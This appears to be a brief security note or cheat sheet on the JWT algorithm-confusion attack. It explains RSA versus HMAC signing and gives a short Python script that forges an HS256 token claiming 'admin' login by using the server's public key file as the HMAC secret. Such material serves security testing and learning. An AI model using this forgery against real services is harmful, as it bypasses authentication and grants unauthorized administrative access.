JWT

HMAC hacking

RSA:

  • To sign a token, you need the private key.

  • To verify a token, you can use the public key corresponding to the private key used for the signature.

HMAC,:

  • To sign a token, you need the secret.

  • To verify a token, you need the same secret.

To exploit this, we need access to public.pem, then we can change the algorithm of the JWT token to use HMAC and create a signature using public.pem.

Because HMAC uses the same key in public.pem to validate the key, we can forge a valid token.

import hmac
import hashlib
import base64

with open('public.pem', 'rb') as f:
    key = f.read()
    
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 = {"typ":"JWT","alg":"HS256"}
# eyJsb2dpbiI6ImFkbWluIn0 = {"login":"admin"}

payload = b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6ImFkbWluIn0'

signature = base64.urlsafe_b64encode(hmac.new(key, payload, hashlib.sha256).digest()).decode('UTF-8').replace('=','')

payload2 = str(payload, encoding='utf-8')

print(f"{payload2}.{signature}")

Last updated